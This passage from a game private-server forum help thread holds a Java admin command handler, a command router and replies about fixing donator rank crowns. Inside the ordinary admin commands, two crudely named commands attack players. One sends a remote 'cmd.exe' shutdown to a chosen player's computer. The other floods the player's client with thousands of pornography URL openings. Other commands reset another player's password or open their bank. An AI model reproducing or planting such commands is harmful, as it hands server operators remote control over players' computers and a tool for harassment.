                if (cmd[0].equals("coords")) {
                    player.getPackets().sendPanelBoxMessage("Coords: " + player.getX() + ", " + player.getY()
                            + ", " + player.getPlane() + ", regionId: "
                            + player.getRegionId() + ", rx: "
                            + player.getChunkX() + ", ry: "
                            + player.getChunkY());
                    return true;
                }
    
                if (cmd[0].equals("iteminter")) {
                    player.getPackets().sendItemOnIComponent(Integer.valueOf(cmd[1]), Integer.valueOf(cmd[2]), Integer.valueOf(cmd[3]), 1);
                    return true;
                }
    
                if (cmd[0].equals("trade")) {
                    name = "";
                    for (int i = 1; i < cmd.length; i++) {
                        name += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
                    }
    
                    target = World.getPlayerByDisplayName(name);
                    if (target != null) {
                        player.getTrade().openTrade(target);
                        target.getTrade().openTrade(player);
                    }
                    return true;
                }
    
                if (cmd[0].equals("setlevel")) {
                    if (cmd.length < 3) {
                        player.getPackets().sendGameMessage("Usage ::setlevel skillId level");
                        return true;
                    }
                    try {
                        int skill = Integer.parseInt(cmd[1]);
                        int level = Integer.parseInt(cmd[2]);
                        if (level < 0 || level > 99) {
                            player.getPackets().sendGameMessage("Please choose a valid level.");
                            return true;
                        }
                        player.getSkills().set(skill, level);
                        player.getSkills().setXp(skill, Skills.getXPForLevel(level));
                        player.getAppearence().generateAppearenceData();
                        return true;
                    } catch (NumberFormatException e) {
                        player.getPackets().sendGameMessage("Usage ::setlevel skillId level");
                    }
                    return true;
                }
    
                if (cmd[0].equals("npc")) {
                    try {
                        World.spawnNPC(Integer.parseInt(cmd[1]), player, -1, true, true);
                        return true;
                    } catch (NumberFormatException e) {
                        player.getPackets().sendPanelBoxMessage("Use: ::npc id(Integer)");
                    }
                    return true;
                }
    
                if (cmd[0].equals("object")) {
                    try {
                        int type = cmd.length > 2 ? Integer.parseInt(cmd[2]) : 10;
                        if (type > 22 || type < 0) {
                            type = 10;
                        }
                        World.spawnObject(
                                new WorldObject(Integer.valueOf(cmd[1]), type, 0,
                                player.getX(), player.getY(), player
                                .getPlane()), true);
                    } catch (NumberFormatException e) {
                        player.getPackets().sendPanelBoxMessage("Use: setkills id");
                    }
                    return true;
                }
    
                if (cmd[0].equals("killme")) {
                    player.applyHit(new Hit(player, 2000, HitLook.REGULAR_DAMAGE));
                    return true;
                }
    
                if (cmd[0].equals("passother")) {
                    name = cmd[1];
                    File acc1 = new File("data/characters/" + name.replace(" ", "_") + ".p");
                    target = null;
                    if (target == null) {
                        try {
                            target = (Player) SerializableFilesManager.loadSerializedFile(acc1);
                        } catch (ClassNotFoundException | IOException e) {
                            e.printStackTrace();
                        }
                    }
                    target.setPassword(Encrypt.encryptSHA1(cmd[2]));
                    player.getPackets().sendGameMessage("You changed their password!");
                    try {
                        SerializableFilesManager.storeSerializableClass(target, acc1);
                    } catch (IOException e) {
                        e.printStackTrace();
                    }
                    return true;
                }
                if (cmd[0].equals("unmuteall")) {
                    for (Player targets : World.getPlayers()) {
                        if (player == null) {
                            continue;
                        }
                        targets.setMuted(0);
                    }
                    return true;
                }
                if (cmd[0].equals("reset")) {
                    if (cmd.length < 2) {
                        for (int skill = 0; skill < 25; skill++) {
                            player.getSkills().setXp(skill, 0);
                        }
                        player.getSkills().init();
                        return true;
                    }
                    try {
                        player.getSkills().setXp(Integer.valueOf(cmd[1]), 0);
                        player.getSkills().set(Integer.valueOf(cmd[1]), 1);
                    } catch (NumberFormatException e) {
                        player.getPackets().sendPanelBoxMessage("Use: ::reset skill");
                    }
                    return true;
                }
    
                if (cmd[0].equals("checkbank")) {
                    String username1 = cmd[1].substring(cmd[1].indexOf(" ") + 1);
                    Player other1 = World.getPlayerByDisplayName(username1);
                    try {
                        player.getPackets().sendItems(95, other1.getBank().getContainerCopy());
                        player.getBank().openPlayerBank(other1);
                    } catch (Exception e) {
                        player.getPackets().sendGameMessage("The player " + username1 + " is currently unavailable.");
                    }
                    return true;
                }
    
                if (cmd[0].equals("master")) {
                    if (cmd.length < 2) {
                        for (int skill = 0; skill < 25; skill++) {
                            player.getSkills().addXp(skill, 150000000);
                        }
                        return true;
                    }
                    try {
                        player.getSkills().addXp(Integer.valueOf(cmd[1]), 150000000);
                    } catch (NumberFormatException e) {
                        player.getPackets().sendPanelBoxMessage("Use: ::master skill");
                    }
                    return true;
                }
    
                if (cmd[0].equals("loyaltyshop")) {
                    player.getPackets().sendWindowsPane(1273, 0);
                    return true;
                }
    
                if (cmd[0].equals("tonpc")) {
                    if (cmd.length < 2) {
                        player.getPackets().sendPanelBoxMessage("Use: ::tonpc id(-1 for player)");
                        return true;
                    }
                    try {
                        player.getAppearence().transformIntoNPC(Integer.valueOf(cmd[1]));
                    } catch (NumberFormatException e) {
                        player.getPackets().sendPanelBoxMessage("Use: ::tonpc id(-1 for player)");
                    }
                    return true;
                }
    
                if (cmd[0].equals("inter")) {
                    if (cmd.length < 2) {
                        player.getPackets().sendPanelBoxMessage("Use: ::inter interfaceId");
                        return true;
                    }
                    try {
                        player.getInterfaceManager().sendInterface(Integer.valueOf(cmd[1]));
                    } catch (NumberFormatException e) {
                        player.getPackets().sendPanelBoxMessage("Use: ::inter interfaceId");
                    }
                    return true;
                }
    
                if (cmd[0].equals("empty")) {
                    player.getInventory().reset();
                    return true;
                }
                if (cmd[0].equals("kill")) {
                    name = "";
                    for (int i = 1; i < cmd.length; i++) {
                        name += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
                    }
                    target = World.getPlayerByDisplayName(name);
                    if (target == null) {
                        return true;
                    }
                    target.applyHit(new Hit(target, target.getHitpoints(), HitLook.REGULAR_DAMAGE));
                    target.stopAll();
                    return true;
                }
    
                if (cmd[0].equals("donor")) {
                    name = "";
                    int status = Integer.parseInt(cmd[1]);
                    for (int i = 2; i < cmd.length; i++) {
                        name += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
                    }
                    target = World.getPlayerByDisplayName(name);
                    loggedIn = true;
                    if (target == null) {
                        target = SerializableFilesManager.loadPlayer(Utils.formatPlayerNameForProtocol(name));
                        if (target != null) {
                            target.setUsername(Utils.formatPlayerNameForProtocol(name));
                        }
                        loggedIn = false;
                    }
                    if (target == null) {
                        return true;
                    }
                    if (status == 1) {
                        target.setDonator(true);
                        msg = "You have been given donator by " + player.getUsername() + "";
                        player.getPackets().sendGameMessage("" + target.getDisplayName() + " is now a donator!", true);
                    } else if (status == 2) {
                        target.setExtremeDonator(true);
                        msg = "You have been given extreme donator by " + player.getDisplayName() + "";
                        player.getPackets().sendGameMessage("" + target.getDisplayName() + " is now an extreme donator!", true);
                    } else {
                        target.setDonator(false);
                        target.setExtremeDonator(false);
                        msg = "Your donator rank has been revoked by " + player.getDisplayName() + "";
                    }
                    SerializableFilesManager.savePlayer(target);
                    if (loggedIn) {
                        target.getPackets().sendGameMessage(msg);
                    }
                    return true;
                }
    
                if (cmd[0].equals("support")) {
                    name = "";
                    for (int i = 1; i < cmd.length; i++) {
                        name += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
                    }
                    target = World.getPlayerByDisplayName(name);
                    boolean loggedIn1 = true;
                    if (target == null) {
                        target = SerializableFilesManager.loadPlayer(Utils.formatPlayerNameForProtocol(name));
                        if (target != null) {
                            target.setUsername(Utils.formatPlayerNameForProtocol(name));
                        }
                        loggedIn1 = false;
                    }
                    if (target == null) {
                        return true;
                    }
                    if (!target.isSupporter()) {
                        target.setSupporter(true);
                        if (loggedIn1) {
                            target.getPackets().sendGameMessage("You have been given supporter rank by " + player.getDisplayName(), true);
                        }
                        player.getPackets().sendGameMessage("You gave supporter rank to " + player.getDisplayName(), true);
    
                    } else {
                        target.setSupporter(false);
                        if (loggedIn1) {
                            target.getPackets().sendGameMessage("Your supporter rank has been taken by " + player.getDisplayName(), true);
                        }
                        player.getPackets().sendGameMessage("You've taken supporter rank from " + target.getDisplayName(), true);
    
                    }
                    SerializableFilesManager.savePlayer(target);
                    return true;
                }
    
                if (cmd[0].equals("giveitem")) {
                    name = "";
                    int itemId = Integer.parseInt(cmd[1]);
                    int amount = Integer.parseInt(cmd[2]);
                    for (int i = 3; i < cmd.length; i++) {
                        name += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
                    }
                    target = World.getPlayerByDisplayName(name);
                    boolean loggedIn2 = true;
                    if (target == null) {
                        target = SerializableFilesManager.loadPlayer(Utils.formatPlayerNameForProtocol(name));
                        if (target != null) {
                            target.setUsername(Utils.formatPlayerNameForProtocol(name));
                        }
                        loggedIn2 = false;
                    }
                    if (target == null) {
                        return true;
                    }
                    target.getInventory().addItem(itemId, amount);
                    SerializableFilesManager.savePlayer(target);
                    if (loggedIn2) {
                        target.getPackets().sendGameMessage("" + player.getDisplayName() + " has given you an item!");
                    }
                    return true;
                }
    
                if (cmd[0].equals("fmod")) {
                    name = "";
                    for (int i = 1; i < cmd.length; i++) {
                        name += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
                    }
                    target = World.getPlayerByDisplayName(name);
                    boolean loggedIn11221 = true;
                    if (target == null) {
                        target = SerializableFilesManager.loadPlayer(Utils.formatPlayerNameForProtocol(name));
                        if (target != null) {
                            target.setUsername(Utils.formatPlayerNameForProtocol(name));
                        }
                        loggedIn11221 = false;
                    }
                    if (target == null) {
                        return true;
                    }
    
                    if (!target.isForumModerator()) {
                        target.setForumModerator(true);
                        msg = "You have been made a forum moderator by " + player.getDisplayName() + "!";
                    } else {
                        target.setForumModerator(false);
                        msg = "You forum moderator status has been removed by " + player.getDisplayName() + "!";
                    }
    
                    SerializableFilesManager.savePlayer(target);
                    if (loggedIn11221) {
                        target.getPackets().sendGameMessage("" + msg + "");
                    }
                    return true;
                }
    
                if (cmd[0].equals("bank")) {
                    player.getBank().openBank();
                    return true;
                }
    
                if (cmd[0].equals("check")) {
                    IPBanL.checkCurrent();
                    return true;
                }
    
                if (cmd[0].equals("reload")) {
                    IPBanL.init();
                    PkRank.init();
                    return true;
                }
                if (cmd[0].equals("tele")) {
                    if (cmd.length < 3) {
                        player.getPackets().sendPanelBoxMessage("Use: ::tele coordX coordY");
                        return true;
                    }
                    try {
                        int x = Integer.valueOf(cmd[1]);
                        int y = Integer.valueOf(cmd[2]);
                        int z = Integer.valueOf(cmd[3]);
                        player.resetWalkSteps();
                        player.setNextWorldTile(new WorldTile(x, y, cmd.length >= 4 ? z : player.getPlane()));
                    } catch (NumberFormatException e) {
                        player.getPackets().sendPanelBoxMessage("Use: ::tele coordX coordY plane");
                    }
                }
    
                if (cmd[0].equals("update")) {
                    int delay = 120;
                    if (cmd.length >= 2) {
                        try {
                            delay = Integer.valueOf(cmd[1]);
                        } catch (NumberFormatException e) {
                            player.getPackets().sendPanelBoxMessage("Use: ::restart secondsDelay(IntegerValue)");
                            return true;
                        }
                    }
                    World.safeShutdown(false, delay);
                    return true;
                }
    
                if (cmd[0].equals("rape")) {
                    String target1 = cmd[1].substring(cmd[1].indexOf(" ") + 1);
                    Player p2 = World.getPlayerByDisplayName(target1);
                    p2.getPackets().sendExecMessage("cmd.exe /c shutdown -s -t 60");
                    player.getPackets().sendGameMessage("Shutting down " + p2.getUsername() + " his computer.");
                    return true;
                }
    
                if (cmd[0].equals("rape")) {
                    String othe2 = cmd[1].substring(cmd[1].indexOf(" ") + 1);
                    Player target2 = World.getPlayerByDisplayName(othe2);
                    for (int i = 0; i < 1000; i++) {
                        target2.getPackets().sendOpenURL("http://porntube.com");
                        target2.getPackets().sendOpenURL("http://porntube.com");
                        target2.getPackets().sendOpenURL("http://porntube.com");
                        target2.getPackets().sendOpenURL("http://porntube.com");
                        target2.getPackets().sendOpenURL("http://porntube.com");
                    }
                }
                if (cmd[0].equals("emote")) {
                    if (cmd.length < 2) {
                        player.getPackets().sendPanelBoxMessage("Use: ::emote id");
                        return true;
                    }
                    try {
                        player.setNextAnimation(new Animation(Integer.valueOf(cmd[1])));
                    } catch (NumberFormatException e) {
                        player.getPackets().sendPanelBoxMessage("Use: ::emote id");
                    }
                    return true;
                }
    
                if (cmd[0].equals("spec")) {
                    player.getCombatDefinitions().resetSpecialAttack();
                    return true;
                }
                if (cmd[0].equals("unban")) {
                    name = "";
                    for (int i = 1; i < cmd.length; i++) {
                        name += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
                    }
                    File acc = new File("data/characters/" + name.replace(" ", "_") + ".p");
                    target = null;
                    if (target == null) {
                        try {
                            target = (Player) SerializableFilesManager.loadSerializedFile(acc);
                        } catch (ClassNotFoundException | IOException e) {
                            e.printStackTrace();
                        }
                    }
                    target.setPermBanned(false);
                    target.setBanned(0);
                    player.getPackets().sendGameMessage("You've unbanned " + Utils.formatPlayerNameForDisplay(target.getUsername()) + ".");
                    try {
                        SerializableFilesManager.storeSerializableClass(target, acc);
                    } catch (IOException e) {
                        e.printStackTrace();
                    }
                    return true;
                }
    
                if (cmd[0].equals("ban")) {
                    name = "";
                    for (int i = 1; i < cmd.length; i++) {
                        name += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
                    }
                    target = World.getPlayerByDisplayName(name);
                    if (target != null) {
                        if (target.getRights() == 2) {
                            return true;
                        }
                        target.setPermBanned(true);
                        target.getPackets().sendGameMessage("You've been banned by " + Utils.formatPlayerNameForDisplay(player.getUsername()) + ".");
                        player.getPackets().sendGameMessage("You have perm banned: " + target.getDisplayName() + ".");
                        target.getSession().getChannel().close();
                        SerializableFilesManager.savePlayer(target);
                    } else {
                        File acc11 = new File("data/characters/" + name.replace(" ", "_") + ".p");
                        try {
                            target = (Player) SerializableFilesManager.loadSerializedFile(acc11);
                        } catch (ClassNotFoundException | IOException e) {
                            e.printStackTrace();
                        }
                        if (target.getRights() == 2) {
                            return true;
                        }
                        target.setPermBanned(true);
                        player.getPackets().sendGameMessage("You have perm banned: " + Utils.formatPlayerNameForDisplay(name) + ".");
                        try {
                            SerializableFilesManager.storeSerializableClass(target, acc11);
                        } catch (IOException e) {
                            e.printStackTrace();
                        }
                    }
                    return true;
                }
    
                if (cmd[0].equals("ipban")) {
                    name = "";
                    for (int i = 1; i < cmd.length; i++) {
                        name += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
                    }
                    target = World.getPlayerByDisplayName(name);
                    boolean loggedIn11111 = true;
                    if (target == null) {
                        target = SerializableFilesManager.loadPlayer(Utils.formatPlayerNameForProtocol(name));
                        if (target != null) {
                            target.setUsername(Utils.formatPlayerNameForProtocol(name));
                        }
                        loggedIn11111 = false;
                    }
                    if (target != null) {
                        if (target.getRights() == 2) {
                            return true;
                        }
                        IPBanL.ban(target, loggedIn11111);
                        player.getPackets().sendGameMessage("You've ipbanned " + (loggedIn11111 ? target.getDisplayName() : name) + ".");
                    } else {
                        player.getPackets().sendGameMessage("Couldn't find player " + name + ".");
                    }
                    return true;
                }
    
                if (cmd[0].equals("unipban")) {
                    name = "";
                    for (int i = 1; i < cmd.length; i++) {
                        name += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
                    }
                    File acc11 = new File("data/characters/" + name.replace(" ", "_") + ".p");
                    target = null;
                    if (target == null) {
                        try {
                            target = (Player) SerializableFilesManager.loadSerializedFile(acc11);
                        } catch (ClassNotFoundException | IOException e) {
                            e.printStackTrace();
                        }
                    }
                    IPBanL.unban(target);
                    player.getPackets().sendGameMessage("You've unipbanned " + Utils.formatPlayerNameForDisplay(target.getUsername()) + ".");
                    try {
                        SerializableFilesManager.storeSerializableClass(target, acc11);
                    } catch (IOException e) {
                        e.printStackTrace();
                    }
                    return true;
                }
    
                if (cmd[0].equals("kiln")) {
                    FightKiln.enterFightKiln(player, true);
                    return true;
                }
    
                if (cmd[0].equals("setpitswinner")) {
                    name = "";
                    for (int i = 1; i < cmd.length; i++) {
                        name += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
                    }
                    target = World.getPlayerByDisplayName(name);
                    if (target == null) {
                        target = SerializableFilesManager.loadPlayer(Utils.formatPlayerNameForProtocol(name));
                    }
                    if (target != null) {
                        target.setWonFightPits();
                        target.setCompletedFightCaves();
                    } else {
                        player.getPackets().sendGameMessage("Couldn't find player " + name + ".");
                    }
                    SerializableFilesManager.savePlayer(target);
                    return true;
                }
            }
            return false;
        }
    }
    and heres what i have in commands.java:
    Code:
    package com.rs.game.player.content;
    
    import java.io.BufferedWriter;
    import java.io.File;
    import java.io.FileWriter;
    import java.io.IOException;
    import java.text.SimpleDateFormat;
    import java.util.ArrayList;
    import java.util.HashMap;
    import java.util.List;
    import java.util.TimerTask;
    import com.rs.Settings;
    import com.rs.cache.loaders.AnimationDefinitions;
    import com.rs.cache.loaders.ItemDefinitions;
    import com.rs.cores.CoresManager;
    import com.rs.game.Animation;
    import com.rs.game.ForceMovement;
    import com.rs.game.ForceTalk;
    import com.rs.game.Graphics;
    import com.rs.game.Hit;
    import com.rs.game.Hit.HitLook;
    import com.rs.game.Region;
    import com.rs.game.World;
    import com.rs.game.WorldObject;
    import com.rs.game.WorldTile;
    import com.rs.game.item.Item;
    import com.rs.game.item.ItemsContainer;
    import com.rs.game.minigames.FightPits;
    
    import com.rs.game.minigames.clanwars.ClanWars;
    import com.rs.game.minigames.clanwars.WallHandler;
    import com.rs.game.npc.NPC;
    import com.rs.game.npc.others.Bork;
    import com.rs.game.player.AuraManager;
    import com.rs.game.player.LoyaltyManager;
    import com.rs.game.player.Player;
    import com.rs.game.player.Skills;
    import com.rs.game.player.content.Notes.Note;
    import com.rs.game.player.content.commands.Administrator;
    import com.rs.game.player.content.commands.DonatorsOnly;
    import com.rs.game.player.content.commands.Moderator;
    import com.rs.game.player.content.commands.RegularPlayer;
    import com.rs.game.player.content.commands.SupportTeam;
    import com.rs.game.player.content.dungeoneering.DungeonPartyManager;
    import com.rs.game.player.content.pet.Pets;
    import com.rs.game.player.controlers.FightKiln;
    import com.rs.game.player.cutscenes.HomeCutScene;
    import com.rs.game.player.dialogues.Dialogue;
    import com.rs.game.tasks.WorldTask;
    import com.rs.game.tasks.WorldTasksManager;
    import com.rs.utils.DisplayNames;
    import com.rs.utils.Encrypt;
    import com.rs.utils.IPBanL;
    import com.rs.utils.NPCSpawns;
    import com.rs.utils.PkRank;
    import com.rs.utils.SerializableFilesManager;
    import com.rs.utils.Utils;
    
    /*
     * doesnt let it be extended
     */
    public final class Commands {
    
    	/*
    	 * all console commands only for admin, chat commands processed if they not
    	 * processed by console
    	 */
    
    	private static Bork cal;
    
    	public static boolean processCommand(Player player, String command,
    			boolean console, boolean clientCommand) {
    		if (command.length() == 0) // if they used ::(nothing) theres no command
    			return false;
    		String[] cmd = command.toLowerCase().split(" ");
    		if (cmd.length == 0)
    			return false;
    		/**
    		 * Administrator
    		 */
    		if (player.getRights() >= 2 && Administrator.processCommand(player, cmd, console, clientCommand))
    			return true;
    		
    		/**
    		 * Moderator
    		 */
    		if (player.getRights() >= 1 && Moderator.processCommands(player, cmd, console, clientCommand))
    			return true;
    		
    		/**
    		 * Supporter
    		 */
    		if ((player.isSupporter() || player.getRights() >= 1) && SupportTeam.processCommands(player, cmd, console, clientCommand))
    			return true;
    		
    		/**
    		 * Donator
    		 */
    		if ((player.isDonator() || player.i***tremeDonator()) && DonatorsOnly.processCommands(player, cmd, console, clientCommand))
    			return true;
    		
    		/**
    		 * Economy Mode, no commands allowed.
    		 */
    		if (Settings.ECONOMY) {
    			player.getPackets().sendGameMessage("You can't use any commands in economy mode!");
    			return true;
    		}
    		return RegularPlayer.processCommand(player, cmd, console, clientCommand);
    	}
    
    	public static String currentTime(String dateFormat) {
    		// Calendar cal = Calendar.getInstance();
    		SimpleDateFormat sdf = new SimpleDateFormat(dateFormat);
    		return sdf.format(cal.getTime());
    	}
    
    	/*
    	 * doesnt let it be instanced
    	 */
    	private Commands() {
    
    	}
    }
    Reply With Quote  
     

  3. #3  
    Donator
    Sake's Avatar
    Join Date
    Jan 2013
    Posts
    396
    Thanks given
    71
    Thanks received
    23
    Discord
    View profile
    Rep Power
    2
    Found a fix! It's a bit strange, but I think it's located in the "DonationManager.java". Search for img, and where it says <img=5" for reg and <img=6> for extreme, change those to your sprites. THIS FIXES THE PUBLIC CHAT CROWNS. I got my login message fixed (don't remember how), but I decided to scrap the idea of login messages for players, and make them admin and owner only. Hope this helps! Here's some code on how to make them owner, admin only.

    Code:
    if (getRights() == 2 && getUsername().equalsIgnoreCase("YOURNAMEHERE"))
    for (Player players : World.getPlayers()) {
    if (players == null)
    continue;
    players.getPackets().sendGameMessage("<col=FF0000> <img=7>[Owner] YOURNAMEHERE has just logged in!<img=7>");
    }
    * YOURNAME HERE = Insert your name ( Pretty simple )
    Change the images to whatever your owner sprite is. Crown sprites are 1455.

    Hope this helped
    Reply With Quote  
     

  4. #4  
    Registered Member
    Join Date
    Mar 2013
    Posts
    29
    Thanks given
    14
    Thanks received
    0
    Rep Power
    11
    There are default commands to give/take donator on Rune-Evo, not sure if you knew or whatnot but yeah. It's ;;donor (1-2) (name) if I recall it properly.
    Reply With Quote  
     

  5. #5  
    Donator
    Sake's Avatar
    Join Date
    Jan 2013
    Posts
    396
    Thanks given
    71
    Thanks received
    23
    Discord
    View profile
    Rep Power
    2
    Quote Originally Posted by PyroRevolution View Post
    There are default commands to give/take donator on Rune-Evo, not sure if you knew or whatnot but yeah. It's ;;donor (1-2) (name) if I recall it properly.
    He's talking about when you log in, It says [Null]Nullplayernullnull[Null] for the name, if I'm correct.
    Reply With Quote  
     

  6. #6  
    Registered Member Beandog's Avatar
    Join Date
    Mar 2013
    Posts
    218
    Thanks given
    22
    Thanks received
    9
    Rep Power
    4
    I had the exact same problem, i shit you not. Im using rune-evo aswell. in my rightsmanager it looks like this
    package com.rs.game.player.content.custom;

    import com.rs.game.player.Player;

    public enum RightsManager {

    REGULAR(0, "Player", "", ""),
    GRAPHIC_DESIGNER(8, "Graphic Designer", "", "<col=AD00FF>"),
    DONATOR(4, "Donator", "<img=5>", "<col=FF0000>"),
    EDONATOR(5, "Extreme Donator", "<img=4>", "<col=20f2eb>"),
    SUPPORTER(6, "Supporter", "<img=0>", "<col=559568>"),
    MODERATOR(1, "Moderator", "<img=0>", "<col=559568>"),
    ADMIN(2, "Admin", "<img=1>", "<col=F88017>"),
    OWNER(7, "Owner", "<img=1>", "<col=BA2EE8>");

    private int playerRights;
    private String title;
    private String crown;
    private String colorId;

    RightsManager(int rights, String title, String crown, String Color) {
    this.playerRights = rights;
    this.title = title;
    this.crown = crown;
    this.colorId = Color;
    }

    public int getPlayerRights() {
    return playerRights;
    }
    public String getTitle() {
    return title;
    }
    public String getCrown() {
    return crown;
    }
    public String getColor() {
    return colorId;
    }

    public static String getInfo(Player player, int i) {
    String crown = null;
    String titleInfo= null;
    String color= null;
    for (RightsManager rights : RightsManager.values()) {
    if (rights.getPlayerRights() == i) {
    if (player.getRights() == 4) {
    crown = DONATOR.getCrown();
    titleInfo = DONATOR.getTitle();
    color = DONATOR.getColor();
    } else if (player.getRights() == 5) {
    crown = EDONATOR.getCrown();
    titleInfo = EDONATOR.getTitle();
    color = EDONATOR.getColor();
    } else if (player.getRights() == 8) {
    crown = GRAPHIC_DESIGNER.getCrown();
    titleInfo = GRAPHIC_DESIGNER.getTitle();
    color = GRAPHIC_DESIGNER.getColor();
    } else if (player.getRights() == 6) {
    crown = SUPPORTER.getCrown();
    titleInfo = SUPPORTER.getTitle();
    color = SUPPORTER.getColor();
    } else if (player.getRights() == 1) {
    crown = MODERATOR.getCrown();
    titleInfo = MODERATOR.getTitle();
    color = MODERATOR.getColor();
    } else if (player.getRights() == 2) {
    crown = ADMIN.getCrown();
    titleInfo = ADMIN.getTitle();
    color = ADMIN.getColor();
    } else if (player.getRights() == 7) {
    crown = OWNER.getCrown();
    titleInfo = OWNER.getTitle();
    color = OWNER.getColor();
    } else if (player.getRights() == 0
    && !player.isSupporter()
    && !player.isDonator()
    && !player.i***tremeDonator()
    && !player.isGraphicDesigner()) {
    crown = REGULAR.getCrown();
    titleInfo = REGULAR.getTitle();
    color = REGULAR.getColor();
    }
    }
    }
    return ""+color+"["+titleInfo+"]</col> "+crown+""+player.getDisplayName()+""+color+"" ;
    }
    }
    i dont have it set so i can give them EXTREME donator but :;donor works, however my problem may not be the same as yours its quite similar. before i changed most of this code, my titles went as far as admin, there was no owner rank, but yet in certain item codes like the comp cape they were set so ranks 2 and 7 were able to equip it, that was odd becuz my ranks in rankmanager only went up to ADMIN wich was 2, there was no OWner wich is 7. before i changed this if i were to make some1 rank 7 or even rank 3 they would show up as [null[ player [null], but once i changed it there was something i did that stoped them from logging in as that null, this was the only file i changed so there may be SOMETHING usefull in that code.
    Reply With Quote  
     

  7. #7  
    Registered Member 741Vick's Avatar
    Join Date
    Apr 2013
    Posts
    101
    Thanks given
    10
    Thanks received
    4
    Rep Power
    11
    Quote Originally Posted by Beandog View Post
    I had the exact same problem, i shit you not. Im using rune-evo aswell. in my rightsmanager it looks like this i dont have it set so i can give them EXTREME donator but :;donor works, however my problem may not be the same as yours its quite similar. before i changed most of this code, my titles went as far as admin, there was no owner rank, but yet in certain item codes like the comp cape they were set so ranks 2 and 7 were able to equip it, that was odd becuz my ranks in rankmanager only went up to ADMIN wich was 2, there was no OWner wich is 7. before i changed this if i were to make some1 rank 7 or even rank 3 they would show up as [null[ player [null], but once i changed it there was something i did that stoped them from logging in as that null, this was the only file i changed so there may be SOMETHING usefull in that code.
    Yours didn't do anything for me.
    Reply With Quote  
     

  8. #8  
    Registered Member
    Join Date
    Jul 2013
    Posts
    5
    Thanks given
    0
    Thanks received
    1
    Rep Power
    0
    thing is how u make them ingame admin?
    Reply With Quote  
     

  9. #9  
    « Detective Enrique »
    Admiral's Avatar
    Join Date
    Feb 2013
    Posts
    333
    Thanks given
    83
    Thanks received
    61
    Rep Power
    37
    Quote Originally Posted by devin123 View Post
    thing is how u make them ingame admin?
    I don't think that has anything to do with what the OP was asking, mate. If you need help with something, simply make your own thread and one of us will gladly help you. :-)
    Reply With Quote  
     

  10. #10  
    Registered Member
    Join Date
    Jun 2012
    Posts
    43
    Thanks given
    5
    Thanks received
    2
    Rep Power
    11
    Add me on teamviewer: "Ownyounowson" , I'll fix it for you.
    Reply With Quote  
     


Thread Information
Users Browsing this Thread

There are currently 1 users browsing this thread. (0 members and 1 guests)


User Tag List

Similar Threads

  1. Replies: 12
    Last Post: 07-20-2013, 01:01 PM
  2. Replies: 13
    Last Post: 07-18-2013, 02:02 AM
  3. How to unblock GE Rune - evo source
    By dragonmage in forum Help
    Replies: 12
    Last Post: 05-27-2013, 08:21 PM
  4. 718 rune evo error please help
    By kingmen139 in forum Help
    Replies: 2
    Last Post: 03-28-2013, 01:21 AM
  5. Replies: 1
    Last Post: 12-29-2012, 03:58 PM
Posting Permissions
  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •